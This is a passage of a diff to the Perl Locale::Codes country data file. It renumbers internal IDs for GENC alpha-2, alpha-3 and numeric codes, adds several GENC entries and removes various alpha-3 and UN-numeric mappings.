@@ -3099,7 +3140,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(3),
       ],
    q(wake island) => [
-      q(0278),
+      q(0281),
       q(0),
       ],
    q(wallis and futuna) => [
@@ -3111,7 +3152,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(1),
       ],
    q(west bank) => [
-      q(0279),
+      q(0282),
       q(0),
       ],
    q(western sahara) => [
@@ -6141,11 +6182,15 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
       },
    q(genc-alpha-2) => {
       q(A1) => [
-         q(0277),
+         q(0280),
          q(0),
          ],
       q(A2) => [
-         q(0262),
+         q(0265),
+         q(0),
+         ],
+      q(A3) => [
+         q(0261),
          q(0),
          ],
       q(AD) => [
@@ -6341,7 +6386,7 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(CP) => [
-         q(0255),
+         q(0256),
          q(0),
          ],
       q(CR) => [
@@ -6377,7 +6422,7 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(DG) => [
-         q(0258),
+         q(0259),
          q(0),
          ],
       q(DJ) => [
@@ -6897,27 +6942,27 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(QM) => [
-         q(0270),
+         q(0273),
          q(0),
          ],
       q(QS) => [
-         q(0254),
+         q(0255),
          q(0),
          ],
       q(QU) => [
-         q(0267),
+         q(0270),
          q(0),
          ],
       q(QW) => [
-         q(0278),
+         q(0281),
          q(0),
          ],
       q(QX) => [
-         q(0261),
+         q(0264),
          q(0),
          ],
       q(QZ) => [
-         q(0251),
+         q(0252),
          q(0),
          ],
       q(RE) => [
@@ -7141,79 +7186,79 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(XA) => [
-         q(0252),
+         q(0253),
          q(0),
          ],
       q(XB) => [
-         q(0253),
+         q(0254),
          q(0),
          ],
       q(XC) => [
-         q(0256),
+         q(0257),
          q(0),
          ],
       q(XD) => [
-         q(0257),
+         q(0258),
          q(0),
          ],
       q(XE) => [
-         q(0259),
+         q(0262),
          q(0),
          ],
       q(XG) => [
-         q(0260),
+         q(0263),
          q(0),
          ],
       q(XH) => [
-         q(0263),
+         q(0266),
          q(0),
          ],
       q(XJ) => [
-         q(0264),
+         q(0267),
          q(0),
          ],
       q(XK) => [
-         q(0269),
+         q(0272),
          q(0),
          ],
       q(XL) => [
-         q(0272),
+         q(0275),
          q(0),
          ],
       q(XM) => [
-         q(0268),
+         q(0271),
          q(0),
          ],
       q(XP) => [
-         q(0273),
+         q(0276),
          q(0),
          ],
       q(XQ) => [
-         q(0265),
+         q(0268),
          q(0),
          ],
       q(XR) => [
-         q(0275),
+         q(0278),
          q(0),
          ],
       q(XS) => [
-         q(0274),
+         q(0277),
          q(0),
          ],
       q(XT) => [
-         q(0276),
+         q(0279),
          q(0),
          ],
       q(XU) => [
-         q(0266),
+         q(0269),
          q(0),
          ],
       q(XV) => [
-         q(0271),
+         q(0274),
          q(0),
          ],
       q(XW) => [
-         q(0279),
+         q(0282),
          q(0),
          ],
       q(YE) => [
@@ -7236,6 +7281,10 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0249),
          q(0),
          ],
+      q([None Assigned]) => [
+         q(0260),
+         q(4),
+         ],
       },
    q(genc-alpha-3) => {
       q(ABW) => [
@@ -7299,11 +7348,15 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(AX1) => [
-         q(0277),
+         q(0280),
          q(0),
          ],
       q(AX2) => [
-         q(0262),
+         q(0265),
+         q(0),
+         ],
+      q(AX3) => [
+         q(0261),
          q(0),
          ],
       q(AZE) => [
@@ -7447,7 +7500,7 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(CPT) => [
-         q(0255),
+         q(0256),
          q(0),
          ],
       q(CPV) => [
@@ -7487,7 +7540,7 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(DGA) => [
-         q(0258),
+         q(0259),
          q(0),
          ],
       q(DJI) => [
@@ -8219,103 +8272,123 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(XAC) => [
-         q(0252),
+         q(0253),
+         q(0),
+         ],
+      q(XAZ) => [
+         q(0260),
          q(0),
          ],
       q(XBI) => [
-         q(0254),
+         q(0255),
          q(0),
          ],
       q(XBK) => [
-         q(0253),
+         q(0254),
          q(0),
          ],
+      q(XCR) => [
+         q(0260),
+         q(1),
+         ],
       q(XCS) => [
-         q(0256),
+         q(0257),
          q(0),
          ],
+      q(XCY) => [
+         q(0260),
+         q(2),
+         ],
       q(XEU) => [
-         q(0259),
+         q(0262),
          q(0),
          ],
       q(XGL) => [
-         q(0261),
+         q(0264),
          q(0),
          ],
       q(XGZ) => [
-         q(0260),
+         q(0263),
          q(0),
          ],
       q(XHO) => [
-         q(0263),
+         q(0266),
          q(0),
          ],
       q(XJA) => [
-         q(0266),
+         q(0269),
          q(0),
          ],
       q(XJM) => [
-         q(0264),
+         q(0267),
          q(0),
          ],
       q(XJN) => [
-         q(0267),
+         q(0270),
          q(0),
          ],
       q(XJV) => [
-         q(0265),
+         q(0268),
          q(0),
          ],
+      q(XKM) => [
+         q(0260),
+         q(3),
+         ],
+      q(XKN) => [
+         q(0260),
+         q(4),
+         ],
       q(XKR) => [
-         q(0268),
+         q(0271),
          q(0),
          ],
       q(XKS) => [
-         q(0269),
+         q(0272),
          q(0),
          ],
       q(XMW) => [
-         q(0270),
+         q(0273),
          q(0),
          ],
       q(XNV) => [
-         q(0271),
+         q(0274),
          q(0),
          ],
       q(XPL) => [
-         q(0272),
+         q(0275),
          q(0),
          ],
       q(XPR) => [
-         q(0273),
+         q(0276),
          q(0),
          ],
       q(XQZ) => [
-         q(0251),
+         q(0252),
          q(0),
          ],
       q(XSP) => [
-         q(0274),
+         q(0277),
          q(0),
          ],
       q(XSV) => [
-         q(0275),
+         q(0278),
          q(0),
          ],
       q(XTR) => [
-         q(0276),
+         q(0279),
          q(0),
          ],
       q(XWB) => [
-         q(0279),
+         q(0282),
          q(0),
          ],
       q(XWK) => [
-         q(0278),
+         q(0281),
          q(0),
          ],
       q(XXD) => [
-         q(0257),
+         q(0258),
          q(0),
          ],
       q(YEM) => [
@@ -9317,119 +9390,143 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(900) => [
-         q(0251),
+         q(0252),
          q(0),
          ],
       q(901) => [
-         q(0269),
+         q(0272),
          q(0),
          ],
       q(902) => [
-         q(0252),
+         q(0253),
          q(0),
          ],
       q(903) => [
-         q(0253),
+         q(0254),
          q(0),
          ],
       q(904) => [
-         q(0254),
+         q(0255),
          q(0),
          ],
       q(905) => [
-         q(0255),
+         q(0256),
          q(0),
          ],
       q(906) => [
-         q(0256),
+         q(0257),
          q(0),
          ],
       q(907) => [
-         q(0257),
+         q(0258),
          q(0),
          ],
       q(908) => [
-         q(0258),
+         q(0259),
+         q(0),
+         ],
+      q(909) => [
+         q(0260),
+         q(0),
+         ],
+      q(910) => [
+         q(0260),
+         q(1),
+         ],
+      q(911) => [
+         q(0260),
+         q(2),
+         ],
+      q(912) => [
+         q(0260),
+         q(3),
+         ],
+      q(913) => [
+         q(0260),
+         q(4),
+         ],
+      q(914) => [
+         q(0261),
          q(0),
          ],
       q(915) => [
-         q(0259),
+         q(0262),
          q(0),
          ],
       q(916) => [
-         q(0260),
+         q(0263),
          q(0),
          ],
       q(917) => [
-         q(0261),
+         q(0264),
          q(0),
          ],
       q(918) => [
-         q(0262),
+         q(0265),
          q(0),
          ],
       q(919) => [
-         q(0263),
+         q(0266),
          q(0),
          ],
       q(920) => [
-         q(0264),
+         q(0267),
          q(0),
          ],
       q(921) => [
-         q(0265),
+         q(0268),
          q(0),
          ],
       q(922) => [
-         q(0266),
+         q(0269),
          q(0),
          ],
       q(923) => [
-         q(0267),
+         q(0270),
          q(0),
          ],
       q(924) => [
-         q(0268),
+         q(0271),
          q(0),
          ],
       q(925) => [
-         q(0270),
+         q(0273),
          q(0),
          ],
       q(926) => [
-         q(0271),
+         q(0274),
          q(0),
          ],
       q(927) => [
-         q(0272),
+         q(0275),
          q(0),
          ],
       q(928) => [
-         q(0273),
+         q(0276),
          q(0),
          ],
       q(929) => [
-         q(0274),
+         q(0277),
          q(0),
          ],
       q(930) => [
-         q(0275),
+         q(0278),
          q(0),
          ],
       q(931) => [
-         q(0276),
+         q(0279),
          q(0),
          ],
       q(932) => [
-         q(0277),
+         q(0280),
          q(0),
          ],
       q(933) => [
-         q(0278),
+         q(0281),
          q(0),
          ],
       q(934) => [
-         q(0279),
+         q(0282),
          q(0),
          ],
       },
@@ -10460,10 +10557,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0006),
          q(0),
          ],
-      q(ARE) => [
-         q(0234),
-         q(0),
-         ],
       q(ARG) => [
          q(0011),
          q(0),
@@ -10476,14 +10569,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0005),
          q(0),
          ],
-      q(ATA) => [
-         q(0009),
-         q(0),
-         ],
-      q(ATF) => [
-         q(0079),
-         q(0),
-         ],
       q(ATG) => [
          q(0010),
          q(0),
@@ -10576,10 +10661,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0026),
          q(0),
          ],
-      q(BVT) => [
-         q(0031),
-         q(0),
-         ],
       q(BWA) => [
          q(0030),
          q(0),
@@ -10592,14 +10673,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0041),
          q(0),
          ],
-      q(CCK) => [
-         q(0048),
-         q(0),
-         ],
-      q(CHE) => [
-         q(0216),
-         q(0),
-         ],
       q(CHL) => [
          q(0045),
          q(0),
@@ -10652,10 +10725,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0058),
          q(0),
          ],
-      q(CXR) => [
-         q(0047),
-         q(0),
-         ],
       q(CYM) => [
          q(0042),
          q(0),
@@ -10704,10 +10773,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0069),
          q(0),
          ],
-      q(ESH) => [
-         q(0246),
-         q(0),
-         ],
       q(ESP) => [
          q(0209),
          q(0),
@@ -10748,10 +10813,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0080),
          q(0),
          ],
-      q(GBR) => [
-         q(0235),
-         q(0),
-         ],
       q(GEO) => [
          q(0082),
          q(0),
@@ -10820,10 +10881,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0100),
          q(0),
          ],
-      q(HMD) => [
-         q(0097),
-         q(0),
-         ],
       q(HND) => [
          q(0099),
          q(0),
@@ -10852,10 +10909,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0103),
          q(0),
          ],
-      q(IOT) => [
-         q(0033),
-         q(0),
-         ],
       q(IRL) => [
          q(0107),
          q(0),
@@ -11008,10 +11061,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0139),
          q(0),
          ],
-      q(MKD) => [
-         q(0132),
-         q(0),
-         ],
       q(MLI) => [
          q(0137),
          q(0),
@@ -11158,7 +11207,7 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          ],
       q(PRK) => [
          q(0118),
-         q(5),
+         q(0),
          ],
       q(PRT) => [
          q(0178),
@@ -11200,10 +11249,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0195),
          q(0),
          ],
-      q(SDN) => [
-         q(0211),
-         q(0),
-         ],
       q(SEN) => [
          q(0196),
          q(0),
@@ -11212,18 +11257,10 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0200),
          q(0),
          ],
-      q(SGS) => [
-         q(0207),
-         q(0),
-         ],
       q(SHN) => [
          q(0186),
          q(0),
          ],
-      q(SJM) => [
-         q(0213),
-         q(0),
-         ],
       q(SLB) => [
          q(0204),
          q(0),
@@ -11260,10 +11297,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0194),
          q(0),
          ],
-      q(SUR) => [
-         q(0212),
-         q(0),
-         ],
       q(SVK) => [
          q(0202),
          q(0),
@@ -11272,14 +11305,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0203),
          q(0),
          ],
-      q(SWE) => [
-         q(0215),
-         q(0),
-         ],
-      q(SWZ) => [
-         q(0214),
-         q(0),
-         ],
       q(SXM) => [
          q(0201),
          q(0),
@@ -11288,210 +11313,94 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0198),
          q(0),
          ],
-      q(SYR) => [
-         q(0217),
-         q(0),
-         ],
-      q(TCA) => [
-         q(0230),
-         q(0),
-         ],
       q(TCD) => [
          q(0044),
          q(0),
          ],
-      q(TGO) => [
-         q(0223),
+      q(VAT) => [
+         q(0098),
          q(0),
          ],
-      q(THA) => [
-         q(0221),
+      q(VCT) => [
+         q(0191),
          q(0),
          ],
-      q(TJK) => [
-         q(0219),
+      q(VGB) => [
+         q(0243),
          q(0),
          ],
-      q(TKL) => [
-         q(0224),
+      q(WSM) => [
+         q(0192),
          q(0),
          ],
-      q(TKM) => [
-         q(0229),
+      q(ZAF) => [
+         q(0206),
          q(0),
          ],
-      q(TLS) => [
-         q(0222),
+      },
+   q(un-numeric) => {
+      q(004) => [
+         q(0001),
          q(0),
          ],
-      q(TON) => [
-         q(0225),
+      q(008) => [
+         q(0003),
          q(0),
          ],
-      q(TTO) => [
-         q(0226),
+      q(012) => [
+         q(0004),
          q(0),
          ],
-      q(TUN) => [
-         q(0227),
+      q(016) => [
+         q(0005),
          q(0),
          ],
-      q(TUR) => [
-         q(0228),
+      q(020) => [
+         q(0006),
          q(0),
          ],
-      q(TUV) => [
-         q(0231),
+      q(024) => [
+         q(0007),
          q(0),
          ],
-      q(TZA) => [
-         q(0220),
+      q(028) => [
+         q(0010),
          q(0),
          ],
-      q(UGA) => [
-         q(0232),
+      q(031) => [
+         q(0016),
          q(0),
          ],
-      q(UKR) => [
-         q(0233),
+      q(032) => [
+         q(0011),
          q(0),
          ],
-      q(UMI) => [
-         q(0236),
+      q(036) => [
+         q(0014),
          q(0),
          ],
-      q(URY) => [
-         q(0238),
+      q(040) => [
+         q(0015),
          q(0),
          ],
-      q(USA) => [
-         q(0237),
+      q(044) => [
+         q(0017),
          q(0),
          ],
-      q(UZB) => [
-         q(0239),
+      q(048) => [
+         q(0018),
          q(0),
          ],
-      q(VAT) => [
-         q(0098),
+      q(050) => [
+         q(0019),
          q(0),
          ],
-      q(VCT) => [
-         q(0191),
+      q(051) => [
+         q(0012),
          q(0),
          ],
-      q(VEN) => [
-         q(0241),
-         q(0),
-         ],
-      q(VGB) => [
-         q(0243),
-         q(0),
-         ],
-      q(VIR) => [
-         q(0244),
-         q(0),
-         ],
-      q(VNM) => [
-         q(0242),
-         q(0),
-         ],
-      q(VUT) => [
-         q(0240),
-         q(0),
-         ],
-      q(WLF) => [
-         q(0245),
-         q(0),
-         ],
-      q(WSM) => [
-         q(0192),
-         q(0),
-         ],
-      q(YEM) => [
-         q(0247),
-         q(0),
-         ],
-      q(ZAF) => [
-         q(0206),
-         q(0),
-         ],
-      q(ZMB) => [
-         q(0248),
-         q(0),
-         ],
-      q(ZWE) => [
-         q(0249),
-         q(0),
-         ],
-      },
-   q(un-numeric) => {
-      q(004) => [
-         q(0001),
-         q(0),
-         ],
-      q(008) => [
-         q(0003),
-         q(0),
-         ],
-      q(010) => [
-         q(0009),
-         q(0),
-         ],
-      q(012) => [
-         q(0004),
-         q(0),
-         ],
-      q(016) => [
-         q(0005),
-         q(0),
-         ],
-      q(020) => [
-         q(0006),
-         q(0),
-         ],
-      q(024) => [
-         q(0007),
-         q(0),
-         ],
-      q(028) => [
-         q(0010),
-         q(0),
-         ],
-      q(031) => [
-         q(0016),
-         q(0),
-         ],
-      q(032) => [
-         q(0011),
-         q(0),
-         ],
-      q(036) => [
-         q(0014),
-         q(0),
-         ],
-      q(040) => [
-         q(0015),
-         q(0),
-         ],
-      q(044) => [
-         q(0017),
-         q(0),
-         ],
-      q(048) => [
-         q(0018),
-         q(0),
-         ],
-      q(050) => [
-         q(0019),
-         q(0),
-         ],
-      q(051) => [
-         q(0012),
-         q(0),
-         ],
-      q(052) => [
-         q(0020),
+      q(052) => [
+         q(0020),
          q(0),
          ],
       q(056) => [
@@ -11518,10 +11427,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0030),
          q(0),
          ],
-      q(074) => [
-         q(0031),
-         q(0),
-         ],
       q(076) => [
          q(0032),
          q(0),
@@ -11530,10 +11435,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0023),
          q(0),
          ],
-      q(086) => [
-         q(0033),
-         q(0),
-         ],
       q(090) => [
          q(0204),
          q(0),
@@ -11602,14 +11503,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0046),
          q(0),
          ],
-      q(162) => [
-         q(0047),
-         q(0),
-         ],
-      q(166) => [
-         q(0048),
-         q(0),
-         ],
       q(170) => [
          q(0049),
          q(0),
@@ -11702,10 +11595,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0072),
          q(0),
          ],
-      q(239) => [
-         q(0207),
-         q(0),
-         ],
       q(242) => [
          q(0074),
          q(0),
@@ -11730,10 +11619,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0078),
          q(0),
          ],
-      q(260) => [
-         q(0079),
-         q(0),
-         ],
       q(262) => [
          q(0062),
          q(0),
@@ -11806,10 +11691,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0096),
          q(0),
          ],
-      q(334) => [
-         q(0097),
-         q(0),
-         ],
       q(336) => [
          q(0098),
          q(0),
@@ -11884,7 +11765,7 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          ],
       q(408) => [
          q(0118),
-         q(5),
+         q(0),
          ],
       q(410) => [
          q(0119),
@@ -12046,10 +11927,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0158),
          q(0),
          ],
-      q(548) => [
-         q(0240),
-         q(0),
-         ],
       q(554) => [
          q(0159),
          q(0),
@@ -12082,10 +11959,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0165),
          q(0),
          ],
-      q(581) => [
-         q(0236),
-         q(0),
-         ],
       q(583) => [
          q(0145),
          q(0),
@@ -12138,10 +12011,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0094),
          q(0),
          ],
-      q(626) => [
-         q(0222),
-         q(0),
-         ],
       q(630) => [
          q(0179),
          q(0),
@@ -12207,7 +12076,7 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0),
          ],
       q(680) => [
-         q(0250),
+         q(0251),
          q(0),
          ],
       q(682) => [
@@ -12238,10 +12107,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0202),
          q(0),
          ],
-      q(704) => [
-         q(0242),
-         q(0),
-         ],
       q(705) => [
          q(0203),
          q(0),
@@ -12254,10 +12119,6 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0206),
          q(0),
          ],
-      q(716) => [
-         q(0249),
-         q(0),
-         ],
       q(724) => [
          q(0209),
          q(0),
@@ -12266,104 +12127,12 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0208),
          q(0),
          ],
-      q(729) => [
-         q(0211),
-         q(0),
-         ],
-      q(732) => [
-         q(0246),
-         q(0),
-         ],
-      q(740) => [
-         q(0212),
-         q(0),
-         ],
-      q(744) => [
-         q(0213),
-         q(0),
-         ],
-      q(748) => [
-         q(0214),
-         q(0),
-         ],
-      q(752) => [
-         q(0215),
-         q(0),
-         ],
-      q(756) => [
-         q(0216),
-         q(0),
-         ],
-      q(760) => [
-         q(0217),
-         q(0),
-         ],
-      q(762) => [
-         q(0219),
-         q(0),
-         ],
-      q(764) => [
-         q(0221),
-         q(0),
-         ],
-      q(768) => [
-         q(0223),
-         q(0),
-         ],
-      q(772) => [
-         q(0224),
-         q(0),
-         ],
-      q(776) => [
-         q(0225),
-         q(0),
-         ],
-      q(780) => [
-         q(0226),
-         q(0),
-         ],
-      q(784) => [
-         q(0234),
-         q(0),
-         ],
-      q(788) => [
-         q(0227),
-         q(0),
-         ],
-      q(792) => [
-         q(0228),
-         q(0),
-         ],
-      q(795) => [
-         q(0229),
-         q(0),
-         ],
-      q(796) => [
-         q(0230),
-         q(0),
-         ],
-      q(798) => [
-         q(0231),
-         q(0),
-         ],
-      q(800) => [
-         q(0232),
-         q(0),
-         ],
-      q(804) => [
-         q(0233),
-         q(0),
-         ],
-      q(807) => [
-         q(0132),
-         q(0),
-         ],
       q(818) => [
          q(0066),
          q(0),
          ],
-      q(826) => [
-         q(0235),
+      q(830) => [
+         q(0250),
          q(0),
          ],
       q(831) => [
@@ -12378,50 +12147,14 @@ $Locale::Codes::Data{'country'}{'code2id'} = {
          q(0108),
          q(0),
          ],
-      q(834) => [
-         q(0220),
-         q(0),
-         ],
-      q(840) => [
-         q(0237),
-         q(0),
-         ],
-      q(850) => [
-         q(0244),
-         q(0),
-         ],
       q(854) => [
          q(0036),
          q(0),
          ],
-      q(858) => [
-         q(0238),
-         q(0),
-         ],
-      q(860) => [
-         q(0239),
-         q(0),
-         ],
-      q(862) => [
-         q(0241),
-         q(0),
-         ],
-      q(876) => [
-         q(0245),
-         q(0),
-         ],
       q(882) => [
          q(0192),
          q(0),
          ],
-      q(887) => [
-         q(0247),
-         q(0),
-         ],
-      q(894) => [
-         q(0248),
-         q(0),
-         ],
       },
 };
 
@@ -13425,35 +13158,37 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0247) => q(YE),
       q(0248) => q(ZM),
       q(0249) => q(ZW),
-      q(0251) => q(QZ),
-      q(0252) => q(XA),
-      q(0253) => q(XB),
-      q(0254) => q(QS),
-      q(0255) => q(CP),
-      q(0256) => q(XC),
-      q(0257) => q(XD),
-      q(0258) => q(DG),
-      q(0259) => q(XE),
-      q(0260) => q(XG),
-      q(0261) => q(QX),
-      q(0262) => q(A2),
-      q(0263) => q(XH),
-      q(0264) => q(XJ),
-      q(0265) => q(XQ),
-      q(0266) => q(XU),
-      q(0267) => q(QU),
-      q(0268) => q(XM),
-      q(0269) => q(XK),
-      q(0270) => q(QM),
-      q(0271) => q(XV),
-      q(0272) => q(XL),
-      q(0273) => q(XP),
-      q(0274) => q(XS),
-      q(0275) => q(XR),
-      q(0276) => q(XT),
-      q(0277) => q(A1),
-      q(0278) => q(QW),
-      q(0279) => q(XW),
+      q(0252) => q(QZ),
+      q(0253) => q(XA),
+      q(0254) => q(XB),
+      q(0255) => q(QS),
+      q(0256) => q(CP),
+      q(0257) => q(XC),
+      q(0258) => q(XD),
+      q(0259) => q(DG),
+      q(0260) => q([None Assigned]),
+      q(0261) => q(A3),
+      q(0262) => q(XE),
+      q(0263) => q(XG),
+      q(0264) => q(QX),
+      q(0265) => q(A2),
+      q(0266) => q(XH),
+      q(0267) => q(XJ),
+      q(0268) => q(XQ),
+      q(0269) => q(XU),
+      q(0270) => q(QU),
+      q(0271) => q(XM),
+      q(0272) => q(XK),
+      q(0273) => q(QM),
+      q(0274) => q(XV),
+      q(0275) => q(XL),
+      q(0276) => q(XP),
+      q(0277) => q(XS),
+      q(0278) => q(XR),
+      q(0279) => q(XT),
+      q(0280) => q(A1),
+      q(0281) => q(QW),
+      q(0282) => q(XW),
       },
    q(genc-alpha-3) => {
       q(0001) => q(AFG),
@@ -13701,35 +13436,37 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0247) => q(YEM),
       q(0248) => q(ZMB),
       q(0249) => q(ZWE),
-      q(0251) => q(XQZ),
-      q(0252) => q(XAC),
-      q(0253) => q(XBK),
-      q(0254) => q(XBI),
-      q(0255) => q(CPT),
-      q(0256) => q(XCS),
-      q(0257) => q(XXD),
-      q(0258) => q(DGA),
-      q(0259) => q(XEU),
-      q(0260) => q(XGZ),
-      q(0261) => q(XGL),
-      q(0262) => q(AX2),
-      q(0263) => q(XHO),
-      q(0264) => q(XJM),
-      q(0265) => q(XJV),
-      q(0266) => q(XJA),
-      q(0267) => q(XJN),
-      q(0268) => q(XKR),
-      q(0269) => q(XKS),
-      q(0270) => q(XMW),
-      q(0271) => q(XNV),
-      q(0272) => q(XPL),
-      q(0273) => q(XPR),
-      q(0274) => q(XSP),
-      q(0275) => q(XSV),
-      q(0276) => q(XTR),
-      q(0277) => q(AX1),
-      q(0278) => q(XWK),
-      q(0279) => q(XWB),
+      q(0252) => q(XQZ),
+      q(0253) => q(XAC),
+      q(0254) => q(XBK),
+      q(0255) => q(XBI),
+      q(0256) => q(CPT),
+      q(0257) => q(XCS),
+      q(0258) => q(XXD),
+      q(0259) => q(DGA),
+      q(0260) => q(XKN),
+      q(0261) => q(AX3),
+      q(0262) => q(XEU),
+      q(0263) => q(XGZ),
+      q(0264) => q(XGL),
+      q(0265) => q(AX2),
+      q(0266) => q(XHO),
+      q(0267) => q(XJM),
+      q(0268) => q(XJV),
+      q(0269) => q(XJA),
+      q(0270) => q(XJN),
+      q(0271) => q(XKR),
+      q(0272) => q(XKS),
+      q(0273) => q(XMW),
+      q(0274) => q(XNV),
+      q(0275) => q(XPL),
+      q(0276) => q(XPR),
+      q(0277) => q(XSP),
+      q(0278) => q(XSV),
+      q(0279) => q(XTR),
+      q(0280) => q(AX1),
+      q(0281) => q(XWK),
+      q(0282) => q(XWB),
       },
    q(genc-numeric) => {
       q(0001) => q(004),
@@ -13977,35 +13714,37 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0247) => q(887),
       q(0248) => q(894),
       q(0249) => q(716),
-      q(0251) => q(900),
-      q(0252) => q(902),
-      q(0253) => q(903),
-      q(0254) => q(904),
-      q(0255) => q(905),
-      q(0256) => q(906),
-      q(0257) => q(907),
-      q(0258) => q(908),
-      q(0259) => q(915),
-      q(0260) => q(916),
-      q(0261) => q(917),
-      q(0262) => q(918),
-      q(0263) => q(919),
-      q(0264) => q(920),
-      q(0265) => q(921),
-      q(0266) => q(922),
-      q(0267) => q(923),
-      q(0268) => q(924),
-      q(0269) => q(901),
-      q(0270) => q(925),
-      q(0271) => q(926),
-      q(0272) => q(927),
-      q(0273) => q(928),
-      q(0274) => q(929),
-      q(0275) => q(930),
-      q(0276) => q(931),
-      q(0277) => q(932),
-      q(0278) => q(933),
-      q(0279) => q(934),
+      q(0252) => q(900),
+      q(0253) => q(902),
+      q(0254) => q(903),
+      q(0255) => q(904),
+      q(0256) => q(905),
+      q(0257) => q(906),
+      q(0258) => q(907),
+      q(0259) => q(908),
+      q(0260) => q(913),
+      q(0261) => q(914),
+      q(0262) => q(915),
+      q(0263) => q(916),
+      q(0264) => q(917),
+      q(0265) => q(918),
+      q(0266) => q(919),
+      q(0267) => q(920),
+      q(0268) => q(921),
+      q(0269) => q(922),
+      q(0270) => q(923),
+      q(0271) => q(924),
+      q(0272) => q(901),
+      q(0273) => q(925),
+      q(0274) => q(926),
+      q(0275) => q(927),
+      q(0276) => q(928),
+      q(0277) => q(929),
+      q(0278) => q(930),
+      q(0279) => q(931),
+      q(0280) => q(932),
+      q(0281) => q(933),
+      q(0282) => q(934),
       },
    q(numeric) => {
       q(0001) => q(004),
@@ -14267,7 +14006,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0006) => q(AND),
       q(0007) => q(AGO),
       q(0008) => q(AIA),
-      q(0009) => q(ATA),
       q(0010) => q(ATG),
       q(0011) => q(ARG),
       q(0012) => q(ARM),
@@ -14289,9 +14027,7 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0028) => q(BES),
       q(0029) => q(BIH),
       q(0030) => q(BWA),
-      q(0031) => q(BVT),
       q(0032) => q(BRA),
-      q(0033) => q(IOT),
       q(0034) => q(BRN),
       q(0035) => q(BGR),
       q(0036) => q(BFA),
@@ -14305,8 +14041,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0044) => q(TCD),
       q(0045) => q(CHL),
       q(0046) => q(CHN),
-      q(0047) => q(CXR),
-      q(0048) => q(CCK),
       q(0049) => q(COL),
       q(0050) => q(COM),
       q(0051) => q(COD),
@@ -14337,7 +14071,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0076) => q(FRA),
       q(0077) => q(GUF),
       q(0078) => q(PYF),
-      q(0079) => q(ATF),
       q(0080) => q(GAB),
       q(0081) => q(GMB),
       q(0082) => q(GEO),
@@ -14355,7 +14088,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0094) => q(GNB),
       q(0095) => q(GUY),
       q(0096) => q(HTI),
-      q(0097) => q(HMD),
       q(0098) => q(VAT),
       q(0099) => q(HND),
       q(0100) => q(HKG),
@@ -14390,7 +14122,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0129) => q(LTU),
       q(0130) => q(LUX),
       q(0131) => q(MAC),
-      q(0132) => q(MKD),
       q(0133) => q(MDG),
       q(0134) => q(MWI),
       q(0135) => q(MYS),
@@ -14465,48 +14196,10 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0204) => q(SLB),
       q(0205) => q(SOM),
       q(0206) => q(ZAF),
-      q(0207) => q(SGS),
       q(0208) => q(SSD),
       q(0209) => q(ESP),
       q(0210) => q(LKA),
-      q(0211) => q(SDN),
-      q(0212) => q(SUR),
-      q(0213) => q(SJM),
-      q(0214) => q(SWZ),
-      q(0215) => q(SWE),
-      q(0216) => q(CHE),
-      q(0217) => q(SYR),
-      q(0219) => q(TJK),
-      q(0220) => q(TZA),
-      q(0221) => q(THA),
-      q(0222) => q(TLS),
-      q(0223) => q(TGO),
-      q(0224) => q(TKL),
-      q(0225) => q(TON),
